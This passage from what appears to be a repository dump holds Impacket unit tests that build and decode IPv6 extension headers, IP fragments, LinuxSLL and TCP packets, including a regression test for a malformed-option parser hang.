self.string_to_list(ip6_packet.get_packet()), binary_packet, \n            \"IP6 Destination Options Header contained in IPv6 Header - Buffer mismatch\")\n\n        self.assertEqual(\n            ip6_packet.get_size(), len(binary_packet),\n            \"IP6 Destination Options Header contained in IPv6 Header - Size mismatch\")\n\n    def test_add_option_to_dest_opts(self):\n        dest_opts_binary_packet = [\n            0x3a, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n\n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.set_next_header(58)\n        dest_opts.add_option(IP6_Extension_Headers.Option_PADN(14))\n\n        self.assertEqual(\n            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, \n            \"Add Option to Destination Options Header - Buffer mismatch\")\n\n        self.assertEqual(\n            dest_opts.get_size(), len(dest_opts_binary_packet),\n            \"Add Option to Destination Options Header - Size mismatch\")\n\n    def test_pad_dest_opts_when_adding_option(self):\n        dest_opts_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n\n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.set_next_header(58)\n        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())\n\n        self.assertEqual(\n            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, \n            \"Pad Destination Options Header when adding option - Buffer mismatch\")\n\n        self.assertEqual(\n            dest_opts.get_size(), len(dest_opts_binary_packet),\n            \"Pad Destination Options Header when adding option - Size mismatch\")\n\n    def test_create_simple_routing_options(self):\n        routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]\n\n        routing_options = IP6_Extension_Headers.Routing_Options()\n        routing_options.set_next_header(58)\n        \n        self.assertEqual(\n            self.string_to_list(routing_options.get_packet()), routing_options_binary_packet, \n            \"Simple Routing Options Header creation - Buffer mismatch\")\n        \n        self.assertEqual(\n            routing_options.get_size(), len(routing_options_binary_packet),\n            \"Simple Routing Options Header creation - Size mismatch\")\n    \n    def test_simple_routing_options_contained_in_ipv6(self):\n        ipv6_binary_packet = [ \n               0x64, 0x82, 0x46, 0x05, \n               0x05, 0xdc, 0x2b, 0x01, \n               0xfe, 0x80, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x78, 0xf8, 0x89, 0xd1,\n               0x30, 0xff, 0x25, 0x6b, \n               0xff, 0x02, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x00, 0x00, 0x00, \n               0x00, 0x01, 0x00, 0x03]\n        \n        routing_options_binary_packet = [\n               0x3a, 0x00, 0x00, 0x0a,\n               0x00, 0x00, 0x00, 0x00]\n\n        binary_packet = ipv6_binary_packet + routing_options_binary_packet\n        \n        ip6_packet = IP6.IP6()\n        ip6_packet.set_traffic_class(72)\n        ip6_packet.set_flow_label(148997)\n        ip6_packet.set_payload_length(1500)\n        ip6_packet.set_next_header(17)\n        ip6_packet.set_hop_limit(1)\n        ip6_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        ip6_packet.set_ip_dst(\"FF02::1:3\")\n        \n        routing_options = IP6_Extension_Headers.Routing_Options()\n        routing_options.set_next_header(58)\n        routing_options.set_routing_type(0)\n        routing_options.set_segments_left(10)\n\n        ip6_packet.contains(routing_options)\n\n        self.assertEqual(\n            self.string_to_list(ip6_packet.get_packet()), binary_packet, \n            \"IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch\")\n\n        self.assertEqual(\n            ip6_packet.get_size(), len(binary_packet),\n            \"IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch\")\n\n    def test_chained_basic_options(self):\n        dest_opts_binary_packet = [\n            0x2b, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n\n        routing_options_binary_packet = [\n           0x00, 0x00, 0x00, 0x0a,\n           0x00, 0x00, 0x00, 0x00]\n\n        hop_by_hop_binary_packet = [\n            0x3a, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n\n        binary_packet = dest_opts_binary_packet + routing_options_binary_packet + hop_by_hop_binary_packet\n\n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())\n\n        routing_options = IP6_Extension_Headers.Routing_Options()\n        routing_options.set_next_header(58)\n        routing_options.set_routing_type(0)\n        routing_options.set_segments_left(10)\n\n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))\n        \n        dest_opts.contains(routing_options)\n        routing_options.contains(hop_by_hop)\n        hop_by_hop.set_next_header(58)\n\n        self.assertEqual(\n            self.string_to_list(dest_opts.get_packet()), binary_packet, \n            \"Chained options - Buffer mismatch\")\n\n        self.assertEqual(\n            dest_opts.get_size(), len(binary_packet),\n            \"Chained options - Size mismatch\")\n\n    def test_chained_basic_options_inside_ipv6_packet(self):\n        ipv6_binary_packet = [ \n           0x64, 0x82, 0x46, 0x05, \n           0x05, 0xdc, 0x00, 0x01, \n           0xfe, 0x80, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x78, 0xf8, 0x89, 0xd1,\n           0x30, 0xff, 0x25, 0x6b, \n           0xff, 0x02, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x00, 0x01, 0x00, 0x03]\n        \n        hop_by_hop_binary_packet = [\n            0x2b, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n\n        routing_options_binary_packet = [\n           0x3c, 0x00, 0x00, 0x0a,\n           0x00, 0x00, 0x00, 0x00]\n\n        dest_opts_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n\n        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet\n        \n        ip6_packet = IP6.IP6()\n        ip6_packet.set_traffic_class(72)\n        ip6_packet.set_flow_label(148997)\n        ip6_packet.set_payload_length(1500)\n        ip6_packet.set_next_header(17)\n        ip6_packet.set_hop_limit(1)\n        ip6_packet.set_ip_src(\"FE80::78F8:89D1:30FF:256B\")\n        ip6_packet.set_ip_dst(\"FF02::1:3\")\n        \n        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()\n        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))\n  \n        routing_options = IP6_Extension_Headers.Routing_Options()\n        routing_options.set_next_header(58)\n        routing_options.set_routing_type(0)\n        routing_options.set_segments_left(10)\n      \n        dest_opts = IP6_Extension_Headers.Destination_Options()\n        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())\n\n        ip6_packet.contains(hop_by_hop)\n        hop_by_hop.contains(routing_options)\n        routing_options.contains(dest_opts)\n        dest_opts.set_next_header(58)\n\n        self.assertEqual(\n            self.string_to_list(ip6_packet.get_packet()), binary_packet, \n            \"Chained options inside an IPv6 packet - Buffer mismatch\")\n\n        self.assertEqual(\n            ip6_packet.get_size(), len(binary_packet),\n            \"Chained options inside an IPv6 packet - Size mismatch\")\n\n    def test_decoding_simple_hop_by_hop(self):\n        hop_by_hop_binary_packet = [\n            0x2b, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n        \n        d = ImpactDecoder.HopByHopDecoder()        \n        parsed_packet = d.decode(hop_by_hop_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(1, len(options), \"Simple Hop By Hop Parsing - Wrong Quantity of Options\")\n        \n        padn_option = options[0]\n        padn_option_type = padn_option.get_option_type()\n        padn_option_length = padn_option.get_option_length()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 0, \"Simple Hop By Hop Parsing - Incorrect packet\")\n        self.assertEqual(next_header, 43, \"Simple Hop By Hop Parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 1, \"Simple Hop By Hop Parsing - Incorrect size\")\n        self.assertEqual(padn_option_type, 1, \"Simple Hop By Hop Parsing - Incorrect option type\")\n        self.assertEqual(padn_option_length, 12, \"Simple Hop By Hop Parsing - Incorrect option size\")\n\n    def test_decoding_multi_option_hop_by_hop(self):\n        hop_by_hop_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n        \n        d = ImpactDecoder.HopByHopDecoder()        \n        parsed_packet = d.decode(hop_by_hop_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(2, len(options), \"Simple Hop By Hop Parsing - Wrong Quantity of Options\")\n        \n        pad1_option = options[0]\n        pad1_option_type = pad1_option.get_option_type()\n        \n        padn_option = options[1]\n        padn_option_type = padn_option.get_option_type()\n        padn_option_length = padn_option.get_option_length()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 0, \"Hop By Hop with multiple options parsing - Incorrect packet\")\n        self.assertEqual(next_header, 58, \"Hop By Hop with multiple options parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 0, \"Hop By Hop with multiple options parsing - Incorrect size\")\n        self.assertEqual(pad1_option_type, 0, \"Hop By Hop with multiple options parsing - Incorrect option type\")\n        self.assertEqual(padn_option_type, 1, \"Hop By Hop with multiple options parsing - Incorrect option type\")\n        self.assertEqual(padn_option_length, 3, \"Hop By Hop with multiple options parsing - Incorrect option size\")\n\n    def test_decoding_simple_destination_options(self):\n        destination_options_binary_packet = [\n            0x2b, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n        \n        d = ImpactDecoder.DestinationOptionsDecoder()        \n        parsed_packet = d.decode(destination_options_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(1, len(options), \"Simple Destination Options Parsing - Wrong Quantity of Options\")\n        \n        padn_option = options[0]\n        padn_option_type = padn_option.get_option_type()\n        padn_option_length = padn_option.get_option_length()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 60, \"Simple Destination Options Parsing - Incorrect packet\")\n        self.assertEqual(next_header, 43, \"Simple Destination Options Parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 1, \"Simple Destination Options Parsing - Incorrect size\")\n        self.assertEqual(padn_option_type, 1, \"Simple Destination Options Parsing - Incorrect option type\")\n        self.assertEqual(padn_option_length, 12, \"Simple Destination Options Parsing - Incorrect option size\")\n\n    def test_decoding_multi_option_destination_options(self):\n        destination_options_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n        \n        d = ImpactDecoder.DestinationOptionsDecoder()        \n        parsed_packet = d.decode(destination_options_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(2, len(options), \"Destination Options with multiple options parsing - Wrong Quantity of Options\")\n        \n        pad1_option = options[0]\n        pad1_option_type = pad1_option.get_option_type()\n        \n        padn_option = options[1]\n        padn_option_type = padn_option.get_option_type()\n        padn_option_length = padn_option.get_option_length()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 60, \"Destination Options with multiple options parsing - Incorrect packet\")\n        self.assertEqual(next_header, 58, \"Destination Options with multiple options parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 0, \"Destination Options with multiple options parsing - Incorrect size\")\n        self.assertEqual(pad1_option_type, 0, \"Destination Options with multiple options parsing - Incorrect option type\")\n        self.assertEqual(padn_option_type, 1, \"Destination Options with multiple options parsing - Incorrect option type\")\n        self.assertEqual(padn_option_length, 3, \"Destination Options with multiple options parsing - Incorrect option size\")\n\n    def test_decoding_simple_routing_options(self):\n        routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00]\n        \n        d = ImpactDecoder.RoutingOptionsDecoder()        \n        parsed_packet = d.decode(routing_options_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        routing_type = parsed_packet.get_routing_type()\n        segments_left = parsed_packet.get_segments_left()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 43, \"Simple Routing Options Parsing - Incorrect packet\")\n        self.assertEqual(next_header, 58, \"Simple Routing Options Parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 0, \"Simple Routing Options Parsing - Incorrect size\")\n        self.assertEqual(routing_type, 0, \"Simple Routing Options Parsing - Incorrect routing type\")\n        self.assertEqual(segments_left, 10, \"Simple Routing Options Parsing - Incorrect quantity of segments left size\")\n        self.assertEqual(0, len(options), \"Simple Routing Options Parsing - Wrong Quantity of Options\")\n\n    def test_decoding_chained_basic_options_inside_ipv6_packet(self):\n        ipv6_binary_packet = [ \n           0x64, 0x82, 0x46, 0x05, \n           0x05, 0xdc, 0x00, 0x01, \n           0xfe, 0x80, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x78, 0xf8, 0x89, 0xd1,\n           0x30, 0xff, 0x25, 0x6b, \n           0xff, 0x02, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x00, 0x00, 0x00, 0x00, \n           0x00, 0x01, 0x00, 0x03]\n        \n        hop_by_hop_binary_packet = [\n            0x2b, 0x01, 0x01, 0x0C,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00,\n            0x00, 0x00, 0x00, 0x00]\n\n        routing_options_binary_packet = [\n           0x3c, 0x00, 0x00, 0x0a,\n           0x00, 0x00, 0x00, 0x00]\n\n        dest_opts_binary_packet = [\n            0x3a, 0x00, 0x00, 0x01,\n            0x03, 0x00, 0x00, 0x00]\n\n        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet\n        \n        d = ImpactDecoder.IP6Decoder()        \n        parsed_ipv6_packet = d.decode(binary_packet)\n        \n        # IPv6 Parsing\n        ipv6_protocol_version = parsed_ipv6_packet.get_ip_v()\n        ipv6_traffic_class = parsed_ipv6_packet.get_traffic_class()\n        ipv6_flow_label = parsed_ipv6_packet.get_flow_label()\n        ipv6_payload_length = parsed_ipv6_packet.get_payload_length()\n        ipv6_next_header = parsed_ipv6_packet.get_next_header()\n        ipv6_hop_limit = parsed_ipv6_packet.get_hop_limit()\n        ipv6_source_address = parsed_ipv6_packet.get_ip_src()\n        ipv6_destination_address = parsed_ipv6_packet.get_ip_dst()\n        \n        # Hop By Hop Parsing\n        hop_by_hop_parsed_packet = parsed_ipv6_packet.child()\n        hop_by_hop_next_header = hop_by_hop_parsed_packet.get_next_header()\n        hop_by_hop_header_extension_length = hop_by_hop_parsed_packet.get_header_extension_length()\n        hop_by_hop_options = hop_by_hop_parsed_packet.get_options()\n        self.assertEqual(1, len(hop_by_hop_options), \"Hop By Hop Parsing - Wrong Quantity of Options\")\n        hop_by_hop_padn_option = hop_by_hop_options[0]\n        hop_by_hop_padn_option_type = hop_by_hop_padn_option.get_option_type()\n        hop_by_hop_padn_option_length = hop_by_hop_padn_option.get_option_length()\n        \n        # Routing Options Tests\n        routing_options_parsed_packet = hop_by_hop_parsed_packet.child()\n        routing_options_next_header = routing_options_parsed_packet.get_next_header()\n        routing_options_header_extension_length = routing_options_parsed_packet.get_header_extension_length()\n        routing_options_routing_type = routing_options_parsed_packet.get_routing_type()\n        routing_options_segments_left = routing_options_parsed_packet.get_segments_left()\n        routing_options_options = routing_options_parsed_packet.get_options()\n        \n        # Destination Options Parsing\n        destination_options_parsed_packet = routing_options_parsed_packet.child()\n        destination_options_next_header = destination_options_parsed_packet.get_next_header()\n        destination_options_header_extension_length = destination_options_parsed_packet.get_header_extension_length()\n        destination_options_options = destination_options_parsed_packet.get_options()\n        self.assertEqual(2, len(destination_options_options), \"Destination Options Parsing - Wrong Quantity of Options\")\n        destination_options_pad1_option = destination_options_options[0]\n        destination_options_pad1_option_type = destination_options_pad1_option.get_option_type()\n        destination_options_padn_option = destination_options_options[1]\n        destination_options_padn_option_type = destination_options_padn_option.get_option_type()\n        destination_options_padn_option_length = destination_options_padn_option.get_option_length()\n        \n        self.assertEqual(ipv6_protocol_version, 6, \"IP6 parsing - Incorrect protocol version\")\n        self.assertEqual(ipv6_traffic_class, 72, \"IP6 parsing - Incorrect traffic class\")\n        self.assertEqual(ipv6_flow_label, 148997, \"IP6 parsing - Incorrect flow label\")\n        self.assertEqual(ipv6_payload_length, 1500, \"IP6 parsing - Incorrect payload length\")\n        self.assertEqual(ipv6_next_header, 0, \"IP6 parsing - Incorrect next header\")\n        self.assertEqual(ipv6_hop_limit, 1, \"IP6 parsing - Incorrect hop limit\")\n        self.assertEqual(ipv6_source_address.as_string(), \"FE80::78F8:89D1:30FF:256B\", \"IP6 parsing - Incorrect source address\")\n        self.assertEqual(ipv6_destination_address.as_string(), \"FF02::1:3\", \"IP6 parsing - Incorrect destination address\")\n        self.assertEqual(hop_by_hop_parsed_packet.get_header_type(), 0, \"Hop By Hop Parsing - Incorrect packet\")\n        self.assertEqual(hop_by_hop_next_header, 43, \"Hop By Hop Parsing - Incorrect next header value\")\n        self.assertEqual(hop_by_hop_header_extension_length, 1, \"Hop By Hop Parsing - Incorrect size\")\n        self.assertEqual(hop_by_hop_padn_option_type, 1, \"Hop By Hop Parsing - Incorrect option type\")\n        self.assertEqual(hop_by_hop_padn_option_length, 12, \"Hop By Hop Parsing - Incorrect option size\")\n        self.assertEqual(routing_options_parsed_packet.get_header_type(), 43, \"Routing Options Parsing - Incorrect packet\")\n        self.assertEqual(routing_options_next_header, 60, \"Routing Options Parsing - Incorrect next header value\")\n        self.assertEqual(routing_options_header_extension_length, 0, \"Routing Options Parsing - Incorrect size\")\n        self.assertEqual(routing_options_routing_type, 0, \"Routing Options Parsing - Incorrect routing type\")\n        self.assertEqual(routing_options_segments_left, 10, \"Routing Options Parsing - Incorrect quantity of segments left size\")\n        self.assertEqual(0, len(routing_options_options), \"Routing Options Parsing - Wrong Quantity of Options\")\n        self.assertEqual(destination_options_parsed_packet.get_header_type(), 60, \"Destination Options Parsing - Incorrect packet\")\n        self.assertEqual(destination_options_next_header, 58, \"Destination Options Parsing - Incorrect next header value\")\n        self.assertEqual(destination_options_header_extension_length, 0, \"Destination Options Parsing - Incorrect size\")\n        self.assertEqual(destination_options_pad1_option_type, 0, \"Destination Options Parsing - Incorrect option type\")\n        self.assertEqual(destination_options_padn_option_type, 1, \"Destination Options Parsing - Incorrect option type\")\n        self.assertEqual(destination_options_padn_option_length, 3, \"Destination Options Parsing - Incorrect option size\")\n\n    def test_decoding_extension_header_from_string(self):\n        hop_by_hop_binary_packet = b'\\x2b\\x01\\x01\\x0C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        \n        d = ImpactDecoder.HopByHopDecoder()        \n        parsed_packet = d.decode(hop_by_hop_binary_packet)\n        \n        next_header = parsed_packet.get_next_header()\n        header_extension_length = parsed_packet.get_header_extension_length()\n        options = parsed_packet.get_options()\n        \n        self.assertEqual(1, len(options), \"Simple Hop By Hop Parsing - Wrong Quantity of Options\")\n        \n        padn_option = options[0]\n        padn_option_type = padn_option.get_option_type()\n        padn_option_length = padn_option.get_option_length()\n        \n        self.assertEqual(parsed_packet.get_header_type(), 0, \"Simple Hop By Hop Parsing - Incorrect packet\")\n        self.assertEqual(next_header, 43, \"Simple Hop By Hop Parsing - Incorrect next header value\")\n        self.assertEqual(header_extension_length, 1, \"Simple Hop By Hop Parsing - Incorrect size\")\n        self.assertEqual(padn_option_type, 1, \"Simple Hop By Hop Parsing - Incorrect option type\")\n        self.assertEqual(padn_option_length, 12, \"Simple Hop By Hop Parsing - Incorrect option size\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_IP_fragment_issue2095.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.ImpactPacket import IP, Data\n\n\nclass TestIPFragmentIssue2095(unittest.TestCase):\n    \"\"\"IP.fragment_by_list() must not crash when payload is Data (protocol is None).\"\"\"\n\n    def test_fragment_by_list_with_data_payload(self):\n        ip = IP()\n        ip.contains(Data(b'HELLO WORLD'))\n        fragments = ip.fragment_by_list([8])\n        self.assertIsInstance(fragments, list)\n        self.assertGreater(len(fragments), 0)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_LinuxSLL.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\n\nfrom impacket.ImpactPacket import LinuxSLL\n\n\nclass TestLinuxSLL(unittest.TestCase):\n\n    def test_set_arphdr(self):\n        sll = LinuxSLL()\n        sll.set_arphdr(513)\n        self.assertEqual(sll.get_arphdr(), 513)\n\n    def test_set_addr_bytes(self):\n        sll = LinuxSLL()\n        sll.set_addr(b\"ABCDEF\")\n        self.assertEqual(sll.get_addr(), b\"ABCDEF\\x00\\x00\")\n        self.assertEqual(len(sll.get_packet()), 16)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_TCP.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.ImpactPacket import TCP\n\n\nclass TestTCP(unittest.TestCase):\n\n    def setUp(self):\n        # TCP - sport: 60655, dport: 80, sec: 0, HLen: 40, Flags: 0x02, win_size: 5840\n        #  cksum: 0x64cb, Options: 0x20\n        self.frame = b'\\xec\\xef\\x00\\x50\\xa8\\xbd\\xea\\x4c\\x00\\x00\\x00\\x00\\xa0\\x02\\x16\\xd0' \\\n                     b'\\x64\\xcb\\x00\\x00\\x02\\x04\\x05\\xb4\\x04\\x02\\x08\\x0a\\x00\\xdc\\xd6\\x12' \\\n                     b'\\x00\\x00\\x00\\x00\\x01\\x03\\x03\\x06'\n\n        self.tcp = TCP(self.frame)\n        \n    def test_01(self):\n        'Test TCP get_packet'\n        self.assertEqual(self.tcp.get_packet(), self.frame)\n\n    def test_02(self):\n        'Test TCP getters'\n        self.assertEqual(self.tcp.get_th_sport(), 60655)\n        self.assertEqual(self.tcp.get_th_dport(), 80)\n        self.assertEqual(self.tcp.get_th_off()*4, 40) # *4 because are words\n        self.assertEqual(self.tcp.get_th_flags(), 0x02)\n        self.assertEqual(self.tcp.get_th_win(), 5840)\n        self.assertEqual(self.tcp.get_th_sum(), 0x64cb)\n        self.assertEqual(self.tcp.get_SYN(), 1)\n        self.assertEqual(self.tcp.get_RST(), 0)\n\n    def test_03(self):\n        'Test TCP port setters'\n        self.tcp.set_th_sport(54321)\n        self.assertEqual(self.tcp.get_th_sport(), 54321)\n\n        self.tcp.set_th_dport(81)\n        self.assertEqual(self.tcp.get_th_dport(), 81)\n\n    def test_04(self):\n        'Test TCP offset setters'\n        # test that set_th_off doesn't affect to flags\n        flags = int('10101010',2)\n        self.tcp.set_th_flags( flags )\n        self.assertEqual(self.tcp.get_th_flags(), flags) \n\n        self.tcp.set_th_off(4)\n        self.assertEqual(self.tcp.get_th_off(), 4)\n        self.assertEqual(self.tcp.get_th_flags(), flags) \n\n    def test_05(self):\n        'Test TCP win setters'\n\n        self.tcp.set_th_win(12345)\n        self.assertEqual(self.tcp.get_th_win(), 12345)\n\n    def test_06(self):\n        'Test TCP checksum setters'\n        self.tcp.set_th_sum(0xFEFE)\n        self.assertEqual(self.tcp.get_th_sum(), 0xFEFE)\n\n\n    def test_07(self):\n        'Test TCP flags setters'\n        self.tcp.set_th_flags(0x03) # SYN+FIN\n        self.assertEqual(self.tcp.get_th_flags(), 0x03) \n \n        self.tcp.set_ACK()\n        self.assertEqual(self.tcp.get_ACK(), 1)\n        self.assertEqual(self.tcp.get_SYN(), 1)\n        self.assertEqual(self.tcp.get_FIN(), 1)\n        self.assertEqual(self.tcp.get_RST(), 0)\n        self.assertEqual(self.tcp.get_th_flags(), 19)\n\n    def test_08(self):\n        'Test TCP reset_flags'\n        # Test 1\n        self.tcp.set_th_flags(19) # ACK+SYN+FIN\n        self.assertEqual(self.tcp.get_th_flags(), 19) \n        self.assertEqual(self.tcp.get_ACK(), 1)\n        self.assertEqual(self.tcp.get_SYN(), 1)\n        self.assertEqual(self.tcp.get_FIN(), 1)\n        self.assertEqual(self.tcp.get_RST(), 0)\n\n        self.tcp.reset_flags(0x02)\n\n        self.assertEqual(self.tcp.get_th_flags(), 17) \n\n        # Test 2\n        flags = int('10011', 2) # 19 = ACK+SYN+FIN\n        self.tcp.set_th_flags(flags) \n        self.assertEqual(self.tcp.get_th_flags(), 19) \n\n        # 010011\n        # 000010\n        # ------\n        # 010001 = 17\n        self.tcp.reset_flags(int('000010',2))\n\n        self.assertEqual(self.tcp.get_th_flags(), 17) \n\n        # Test 3\n        flags = int('10011', 2) # 19 = ACK+SYN+FIN\n        self.tcp.set_th_flags(flags) \n        self.assertEqual(self.tcp.get_th_flags(), 19) \n\n        # 010011\n        # 010001\n        # ------\n        # 000010 = 2\n        self.tcp.reset_flags(int('010001',2))\n\n        self.assertEqual(self.tcp.get_th_flags(), 2) \n \n    def test_09(self):\n        'Test TCP set_flags'\n        flags = int('10101010',2) # 0xAA\n        self.tcp.set_flags(flags) \n        self.assertEqual(self.tcp.get_FIN(), 0)\n        self.assertEqual(self.tcp.get_SYN(), 1)\n        self.assertEqual(self.tcp.get_RST(), 0)\n        self.assertEqual(self.tcp.get_PSH(), 1)\n        self.assertEqual(self.tcp.get_ACK(), 0)\n        self.assertEqual(self.tcp.get_URG(), 1)\n        self.assertEqual(self.tcp.get_ECE(), 0)\n        self.assertEqual(self.tcp.get_CWR(), 1)\n        self.assertEqual(self.tcp.get_th_flags(), 0xAA )\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_TCP_bug_issue7.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom threading import Thread\nfrom impacket.ImpactPacket import TCP, ImpactPacketException\n\n\nclass TestTCP(unittest.TestCase):\n\n    def setUp(self):\n        # Dummy TCP header with \"Maximum Segment Size\" Option and zero length\n        self.frame = '\\x12\\x34\\x00\\x50\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x60\\x00\\x00\\x00\\x8d\\x5c\\x00\\x00\\x02\\x00\\x00\\x00'\n        \n    def test_01(self):\n        'Test TCP options parsing hangs'\n        class it_hangs(Thread):\n            def __init__(self):\n                Thread.__init__(self)\n            def run(self):\n                try:\n                    frame = '\\x12\\x34\\x00\\x50\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00' \\\n                        '\\x60\\x00\\x00\\x00\\x8d\\x5c\\x00\\x00\\x02\\x00\\x00\\x00'\n                    TCP(frame)\n                except ImpactPacketException as e:\n                    if str(e) != \"'TCP Option length is too low'\":\n                        raise e\n                except Exception:\n                    pass\n\n        thread_hangs = it_hangs()\n        thread_hangs.daemon = True\n        thread_hangs.start()\n\n        thread_hangs.join(1.0)  # 1 seconds timeout\n        self.assertEqual(thread_hangs.is_alive(), False)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/ImpactPacket/test_ethernet.py",
